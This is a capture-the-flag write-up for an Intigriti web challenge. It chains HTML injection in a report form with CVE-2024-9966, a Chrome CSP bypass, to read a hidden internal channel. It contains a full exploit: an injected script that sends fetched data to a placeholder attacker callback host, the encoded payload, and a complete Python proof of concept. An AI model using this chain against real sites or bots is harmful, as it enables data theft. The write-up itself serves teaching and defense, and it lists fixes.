Introduction
Intigriti’s August 2026 challenge looked like a broken television. The page exposed ten channel buttons, every channel had bad reception, and a small warning icon let us report the current channel.
The visible goal was simple: make the TV work and recover the flag. The actual route was much stranger. The report form accepted HTML, but the moderation page had a Content Security Policy that stopped the obvious XSS payloads. Solving the challenge meant combining the HTML injection with a browser bug in the bot’s exact Chrome version.
The final chain was:
- Inject two iframes through the
channelIdreport field. - Use one iframe as a sandboxed launcher and the other as a named
srcdoccontaining the final script. - Move the bot into an attacker-controlled HTTP top-level page.
- Reframe the internal moderation page and manipulate its joint session history.
- Trigger CVE-2024-9966 so Chrome restores the
srcdocwith the internal origin but without the inherited CSP. - Request channel 11 from
http://web, exfiltrate its hidden MP4 filename, and download the video containing the flag.
Reading the hints
The challenge author provided several hints:
The report form accepts more than you’d expect. Getting it to execute is another web browser challenge.
If your favorite TV channel isn’t working, you can always report it.
If you happen to fix the bad reception, will you still be limited to only 10 channels?
The first hint points directly at the report request and separates the challenge into two problems: getting markup stored, then getting JavaScript to execute. The other two hints tell us where the payload belongs and that a hidden channel exists beyond the ten buttons in the UI.
Mapping the application
The page creates buttons for channels 1 through 10 and calls the following endpoint when a channel is selected:
const res = await fetch(`/api/channels/${n}/load`, {
credentials: "same-origin",
/*headers: {
'X-Channel-Id': n
}*/
});
The commented header was immediately interesting. Requesting channel 11 from the public application, even with the expected header, still failed:
GET /api/channels/11/load HTTP/1.1
Host: challenge-0826.challenges.intigriti.io
X-Channel-Id: 11
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
channel not available
The report button sends the current on-screen channel as form data:
const channelId = osd.textContent.replace("CH", "").trim();
const body = new URLSearchParams({ channelId });
await fetch("/api/report", {
method: "POST",
credentials: "same-origin",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: body.toString(),
});
The UI only produces ordinary channel numbers, but the server accepts a much wider value. A channelId beginning with a digit passes validation even when arbitrary HTML follows it. The full value is later rendered as markup on the bot’s internal moderation page.
For example, this structure is accepted:
11<iframe ...></iframe><iframe ...></iframe>
The PoC uses 11 so the submitted report nominally targets the hidden channel. The demonstrated validation bypass only requires the first character to be numeric; everything after that prefix becomes attacker-controlled HTML. The final fetch is what explicitly selects channel 11.
Why HTML injection was not enough
The report bot loaded the stored payload with:
Mozilla/5.0 (X11; Linux x86_64) ... HeadlessChrome/129.0.6668.29 ...
The injected iframes rendered, but ordinary inline scripts and scripts inside srcdoc were blocked by the moderation page’s CSP. That behavior is expected: an about:srcdoc document inherits the embedding document’s policy container, including its CSP.
This changed the question from “where is the XSS sink?” to “what browser behavior can separate the restored document from its inherited policy?”
Chrome 129 was the clue. Chrome 130.0.6723.58 fixed CVE-2024-9966, a CSP bypass. The corresponding Chromium patch is titled Don’t store PolicyContainerPolicies of error pages in history.
The patch pointed to session-history restoration, error or blank documents, and policy containers. That was the browser primitive needed to turn the stored HTML injection into script execution.
A close precursor: idekCTF 2024
This technique has a close conceptual precursor in srcdoc-memos, a hard web challenge by icesfont from idekCTF 2024. That challenge placed attacker-controlled memo content inside srcdoc under script-src 'none' and expected solvers to reason about nested iframe navigation, sandbox changes, and session-history restoration.
In the expected solution, iframe reparenting caused different parts of the restored frame to come from different states. The current DOM supplied the iframe’s sandbox attribute, while the restored srcdoc and its policy container followed history. By arranging those states carefully, the payload returned without the sandbox restriction while retaining an earlier empty CSP, allowing its script to execute. Huli’s detailed writeup breaks down the behavior step by step and traces the underlying browser ambiguity to WHATWG HTML issue #6809.
srcdoc-memos did not use the exact CVE-2024-9966 sequence described here. Its expected solution exploited a sandbox, reparenting, and history-state mismatch. This Intigriti solution specifically relies on Chrome incorrectly restoring the policy container from a blank or error history entry. The earlier challenge is still an excellent mental model: a restored iframe’s DOM attributes, document, origin, and policy container should be tracked as separate pieces of state rather than treated as one page moving backward through time.
Building the exploit
1. Plant the final script in a named srcdoc
The first iframe is named cve-srcdoc-frame. Its srcdoc contains the request that should eventually execute on the internal origin:
<iframe
name="cve-srcdoc-frame"
srcdoc="
<script>
fetch('/api/channels/11/load', {
credentials: 'same-origin',
headers: {'X-Channel-Id': '11'}
})
.then(async r => [r.status, await r.text()])
.then(v => {
new Image().src = 'https://CALLBACK/capture/flag?d=' +
encodeURIComponent(JSON.stringify(v));
})
.catch(e => {
new Image().src = 'https://CALLBACK/capture/flag-error?d=' +
encodeURIComponent(e);
});
</script>
"
></iframe>
The inner HTML is entity-encoded because it lives inside the outer iframe’s srcdoc attribute. On the initial load, the browser creates the script correctly but CSP prevents it from running.
Naming the frame lets a different browsing context navigate it later with:
open("about:blank#1", "cve-srcdoc-frame");
2. Add a sandboxed launcher
The second injected iframe loads an attacker-controlled HTTPS page. Its host must be permitted by the moderation page’s frame policy; the challenge accepted the HTTPS tunnel used during testing.
<iframe
sandbox="allow-scripts allow-top-navigation"
src="https://CALLBACK/page/top-launch?k=TOKEN&cb=https%3A%2F%2FCALLBACK"
></iframe>
allow-scripts lets the launcher run its own JavaScript. allow-top-navigation lets it replace the bot’s top-level moderation page. It does not receive allow-same-origin and does not need DOM access to the internal page.
The random TOKEN solves a small race: the report ID does not exist until /api/report returns, but the bot may request the launcher immediately. The callback server binds that token to the returned report ID before serving the controller.
3. Move from HTTPS to an HTTP controller
My callback used an HTTPS tunnel. The launcher first navigates to an HTTPS transition page and that page redirects the top-level browser to a plain HTTP controller.
This transition is not CVE-2024-9966. It is a topology requirement of this PoC. An HTTPS top-level page cannot embed the internal http://web moderation service because active mixed-content rules block it. A plain HTTP top-level controller can frame http://web/moderate/<report-id>.
Ngrok is not special here. Any externally reachable HTTPS callback allowed by the challenge CSP can act as the launcher, and any reachable HTTP page capable of serving the controller can provide the final top-level context.
The all-in-one script uses http://httpbun.com/base64/... as that public HTTP document host. It places the generated controller, report ID, and callback URL in a base64-encoded URL, so the bot must be able to reach httpbun.com. Replace it with an attacker-controlled HTTP document host if that dependency is unavailable or disclosing the generated controller URL to a third party is undesirable.
4. Manipulate the joint session history
The HTTP controller frames the moderation page again. This creates a second instance of the same self-referential payload, including another launcher and named srcdoc. The launcher uses this guard so only the original copy, which has exactly one ancestor, may top-navigate:
if (location.ancestorOrigins.length === 1) {
top.location.href = downgrade;
}
The launcher inside the newly framed report has more than one ancestor and stays inert. This prevents a navigation loop while leaving the nested named srcdoc available to the controller.
The outer HTTP controller then performs this sequence:
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const waitLoad = async (expected) => {
while (loads < expected) await sleep(5);
};
const frame = document.createElement("iframe");
let loads = 0;
frame.onload = async () => {
loads++;
if (loads === 1) {
await sleep(10);
open("about:blank#1", "cve-srcdoc-frame");
await sleep(10);
frame.sandbox = "allow-scripts";
frame.contentWindow.location = "about:blank#1";
return;
}
if (loads !== 2) return;
await sleep(10);
history.back();
await waitLoad(3);
history.back();
await sleep(15);
history.forward();
await sleep(15);
history.forward();
await waitLoad(4);
frame.removeAttribute("sandbox");
history.back();
await waitLoad(5);
history.back();
};
frame.src = "http://web/moderate/REPORT_ID";
document.body.append(frame);
Every history.* call below runs in the outer HTTP controller’s window while the report remains its descendant iframe. The load counters make each traversal wait for the expected nested navigation. The sequence is easier to reason about as six state changes:
- Navigate the named
srcdoctoabout:blank#1. - Add
sandbox="allow-scripts"to the parent iframe and navigate that parent toabout:blank#1. - Traverse back twice.
- Traverse forward twice.
- Remove the parent’s sandbox.
- Traverse back twice again.
On the final history.back(), vulnerable Chrome restores the original srcdoc with the http://web origin, but associates it with the blank/error document’s empty policy container. The inline script now runs without the moderation CSP and can make a same-origin request to the protected endpoint.
The joint history is important. Trying to reproduce the same operations in a detached popup or unrelated browsing context did not restore the nested frame with the required combination of origin and policy state.
Complete payload
After the server decodes the form body, the submitted channelId is exactly the following. The srcdoc content remains HTML-attribute encoded until the browser parses the outer iframe:
11<iframe
name="cve-srcdoc-frame"
srcdoc="<script>fetch('/api/channels/11/load',{credentials:'same-origin',headers:{'X-Channel-Id':'11'}}).then(async r=>[r.status,await r.text()]).then(v=>new Image().src='https://CALLBACK/capture/flag?d='+encodeURIComponent(JSON.stringify(v))).catch(e=>new Image().src='https://CALLBACK/capture/flag-error?d='+encodeURIComponent(e))</script>"
></iframe
><iframe
sandbox="allow-scripts allow-top-navigation"
src="https://CALLBACK/page/top-launch?k=TOKEN&cb=https%3A%2F%2FCALLBACK"
></iframe>
The complete form-encoded request body, with only CALLBACK and TOKEN left as placeholders, is:
channelId=11%3Ciframe+name%3Dcve-srcdoc-frame+srcdoc%3D%22%26lt%3Bscript%26gt%3Bfetch%28%26%23x27%3B%2Fapi%2Fchannels%2F11%2Fload%26%23x27%3B%2C%7Bcredentials%3A%26%23x27%3Bsame-origin%26%23x27%3B%2Cheaders%3A%7B%26%23x27%3BX-Channel-Id%26%23x27%3B%3A%26%23x27%3B11%26%23x27%3B%7D%7D%29.then%28async+r%3D%26gt%3B%5Br.status%2Cawait+r.text%28%29%5D%29.then%28v%3D%26gt%3Bnew+Image%28%29.src%3D%26%23x27%3Bhttps%3A%2F%2FCALLBACK%2Fcapture%2Fflag%3Fd%3D%26%23x27%3B%2BencodeURIComponent%28JSON.stringify%28v%29%29%29.catch%28e%3D%26gt%3Bnew+Image%28%29.src%3D%26%23x27%3Bhttps%3A%2F%2FCALLBACK%2Fcapture%2Fflag-error%3Fd%3D%26%23x27%3B%2BencodeURIComponent%28e%29%29%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E%3Ciframe+sandbox%3D%22allow-scripts+allow-top-navigation%22+src%3D%22https%3A%2F%2FCALLBACK%2Fpage%2Ftop-launch%3Fk%3DTOKEN%26amp%3Bcb%3Dhttps%253A%252F%252FCALLBACK%22%3E%3C%2Fiframe%3E
In this static payload, CALLBACK means the hostname only because https:// is already present. The --callback argument used by the script takes the complete URL, including the scheme.
There are two required encoding layers to keep straight:
- URL-encode the complete
channelIdforapplication/x-www-form-urlencoded. - HTML-entity encode the script placed inside
srcdoc.
The tested payload also carries a double-encoded callback in the launcher’s cb query parameter. That parameter remained from earlier callback plumbing and the final handler does not read it, so it is not an exploit prerequisite. I kept it here because the goal is to reproduce the exact body that was executed successfully. The reproducer performs every transformation automatically.
Reproduction
- Expose local port
8765through an HTTPS tunnel. The public URL must forward every path to127.0.0.1:8765, and the moderation CSP must permit that HTTPS host in an iframe. A host rejected by the frame policy fails before the history sequence begins. - Confirm the bot can reach
http://httpbun.com. This exact implementation uses its/base64/route as a disposable plain-HTTP HTML host. Substitute an attacker-controlled HTTP host indo_GETif needed. - Save the following script as
poc.py. - Run it with the tunnel URL. To capture the traffic in Burp:
python3 poc.py \
--callback 'https://YOUR-HTTPS-TUNNEL' \
--proxy 'http://127.0.0.1:8081'
To connect directly without Burp:
python3 poc.py \
--callback 'https://YOUR-HTTPS-TUNNEL' \
--proxy ''
- The script submits the complete encoded payload, waits for the bot, prints the channel-11 response, and downloads the returned stream as
channel-11.mp4.
#!/usr/bin/env python3
import argparse
import base64
import html
import http.cookiejar
import json
import secrets
import ssl
import threading
import time
import urllib.parse
import urllib.request
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
ORIGIN = "https://challenge-0826.challenges.intigriti.io"
TARGETS = {}
RESULT = None
RESULT_READY = threading.Event()
def cve_controller(target, callback):
return (
"const sleep=ms=>new Promise(r=>setTimeout(r,ms));"
"const waitLoad=async n=>{while(loads<n)await sleep(5)};"
f"const mark=p=>p==='final-back-2'&&(new Image().src='{callback}/capture/cve-done');"
"const frame=document.createElement('iframe');let loads=0;"
"frame.onload=async()=>{loads++;"
"if(loads===1){await sleep(10);open('about:blank#1','cve-srcdoc-frame');"
"await sleep(10);frame.sandbox='allow-scripts';"
"frame.contentWindow.location='about:blank#1';return}"
"if(loads!==2)return;await sleep(10);history.back();await waitLoad(3);"
"history.back();await sleep(15);history.forward();await sleep(15);"
"history.forward();await waitLoad(4);frame.removeAttribute('sandbox');"
"history.back();await waitLoad(5);mark('final-back-2');history.back()};"
f"frame.src={json.dumps(target)};document.body.append(frame)"
)
def report_payload(callback, token):
flag_url = f"{callback}/capture/flag"
error_url = f"{callback}/capture/flag-error"
inner = (
"<script>fetch('/api/channels/11/load',{credentials:'same-origin',"
"headers:{'X-Channel-Id':'11'}}).then(async r=>[r.status,await r.text()])"
f".then(v=>new Image().src='{flag_url}?d='+encodeURIComponent(JSON.stringify(v)))"
f".catch(e=>new Image().src='{error_url}?d='+encodeURIComponent(e))</script>"
)
query = urllib.parse.urlencode({"k": token, "cb": callback})
launch = f"{callback}/page/top-launch?{query}"
return (
f'11<iframe name=cve-srcdoc-frame srcdoc="{html.escape(inner, quote=True)}"></iframe>'
'<iframe sandbox="allow-scripts allow-top-navigation" '
f'src="{html.escape(launch, quote=True)}"></iframe>'
)
class CallbackHandler(BaseHTTPRequestHandler):
callback = ""
def reply(self, status, body=b"", content_type="text/plain"):
self.send_response(status)
self.send_header("Content-Type", content_type)
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(body)
def do_GET(self):
global RESULT
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if parsed.path == "/page/top-launch":
token = params.get("k", [""])[0]
deadline = time.monotonic() + 5
while token not in TARGETS and time.monotonic() < deadline:
time.sleep(0.005)
report_id = TARGETS.get(token)
if not report_id:
self.reply(404, b"report ID not bound")
return
controller = cve_controller(
f"http://web/moderate/{report_id}", self.callback
)
root = (
"<!doctype html><body>"
f"<img src='{self.callback}/capture/http-root-start'>"
f"<script>{controller}</script></body>"
)
encoded = base64.b64encode(root.encode()).decode()
http_root = (
"http://httpbun.com/base64/"
+ urllib.parse.quote(encoded, safe="=")
)
downgrade = self.callback + "/page/top-downgrade?" + urllib.parse.urlencode(
{"u": http_root}
)
script = (
"if(location.ancestorOrigins.length===1)"
f"top.location.href={json.dumps(downgrade)}"
)
self.reply(
200,
f"<!doctype html><body><script>{script}</script></body>".encode(),
"text/html; charset=utf-8",
)
return
if parsed.path == "/page/top-downgrade":
target = params.get("u", [""])[0]
body = (
"<!doctype html><body><script>location.href="
+ json.dumps(target)
+ "</script></body>"
).encode()
self.reply(200, body, "text/html; charset=utf-8")
return
if parsed.path.startswith("/capture/"):
print(f"[callback] {parsed.path} {parsed.query}", flush=True)
self.reply(204)
if parsed.path == "/capture/flag" and "d" in params:
RESULT = json.loads(params["d"][0])
RESULT_READY.set()
return
self.reply(404)
def log_message(self, format, *args):
return
def opener(proxy):
handlers = [
urllib.request.HTTPSHandler(context=ssl._create_unverified_context()),
urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()),
]
if proxy:
handlers.insert(0, urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
return urllib.request.build_opener(*handlers)
def submit_report(client, callback, token):
headers = {"Origin": ORIGIN, "Referer": f"{ORIGIN}/challenge"}
with client.open(urllib.request.Request(f"{ORIGIN}/challenge", headers=headers)):
pass
with client.open(
urllib.request.Request(
f"{ORIGIN}/api/channels/1/load",
headers={**headers, "X-Channel-Id": "1"},
)
) as response:
response.read()
body = urllib.parse.urlencode(
{"channelId": report_payload(callback, token)}
).encode()
print("[request body]", body.decode(), flush=True)
request = urllib.request.Request(
f"{ORIGIN}/api/report",
data=body,
headers={**headers, "Content-Type": "application/x-www-form-urlencoded"},
)
with client.open(request, timeout=15) as response:
return json.load(response)["id"]
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--callback", required=True, help="HTTPS tunnel to local port 8765")
parser.add_argument("--proxy", default="http://127.0.0.1:8081")
parser.add_argument("--port", type=int, default=8765)
args = parser.parse_args()
callback = args.callback.rstrip("/")
CallbackHandler.callback = callback
server = ThreadingHTTPServer(("127.0.0.1", args.port), CallbackHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
client = opener(args.proxy)
token = secrets.token_hex(8)
report_id = submit_report(client, callback, token)
TARGETS[token] = report_id
print(f"[report] {report_id}", flush=True)
if not RESULT_READY.wait(60):
raise SystemExit("Timed out waiting for the bot callback")
status, filename = RESULT
print(f"[channel 11] HTTP {status}: {filename}", flush=True)
if status != 200 or not filename.endswith(".mp4"):
raise SystemExit("Unexpected channel response")
stream = f"{ORIGIN}/static/streams/{urllib.parse.quote(filename)}"
with client.open(stream, timeout=15) as response:
video = response.read()
with open("channel-11.mp4", "wb") as output:
output.write(video)
print(f"[saved] channel-11.mp4 ({len(video)} bytes)", flush=True)
server.shutdown()
if __name__ == "__main__":
main()
Result
The successful callback sequence was:
GET /capture/http-root-start
GET /capture/cve-done
GET /capture/flag?d=[200,"3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4"]
Fetching the returned stream produced a 15,013-byte MP4 with this SHA-256 digest:
90938a063d245a0451591d5a13e848e08d362178a01caf34df976581c9dea17c
The video revealed channel 11 and the flag:

INTIGRITI{019ff176-bc01-7543-9e81-46e417c8b39b}
Vulnerability classification
The application flaw is CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), a child of CWE-79. The demonstrated chain has a CVSS 3.1 score of 6.8 Medium:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
The complexity is high because exploitation depends on the vulnerable browser version and a precise cross-context history sequence. No authentication or human interaction is required: submitting a report invokes the bot automatically. Scope changes because public input produces script execution under the separate internal http://web security authority, allowing complete disclosure of the protected channel response.
What should be fixed
Several independent controls would break the chain:
- Parse
channelIdas a strict integer and allow only the intended channel range. - Encode report values for their HTML output context instead of rendering them as markup.
- Upgrade the moderation bot to a supported Chrome release containing the CVE-2024-9966 fix.
- Enforce authorization for internal channels on the server instead of trusting network location or a client-supplied header.
Takeaways
The most useful lesson from this challenge was not a single payload. It was the change in perspective after the obvious XSS failed.
The report field gave control over HTML, not immediate JavaScript execution. The bot had access to an origin I could not reach, but its CSP protected that origin. The bot’s old browser then supplied a third primitive: a way to restore a document’s origin and policy container incorrectly through joint session history.
Each primitive looked incomplete by itself. Together they crossed the public/internal boundary and turned a hidden eleventh channel into the flag.
References
- Intigriti August 2026 challenge
- idekCTF 2024
srcdoc-memoschallenge source - Huli: idekCTF 2024 Writeup - Advanced iframe Magic
- WHATWG HTML issue #6809:
srcdocand sandbox interaction with session history - CVE-2024-9966 in the NVD
- Chrome 130 stable release notes
- Chromium fix: Don’t store PolicyContainerPolicies of error pages in history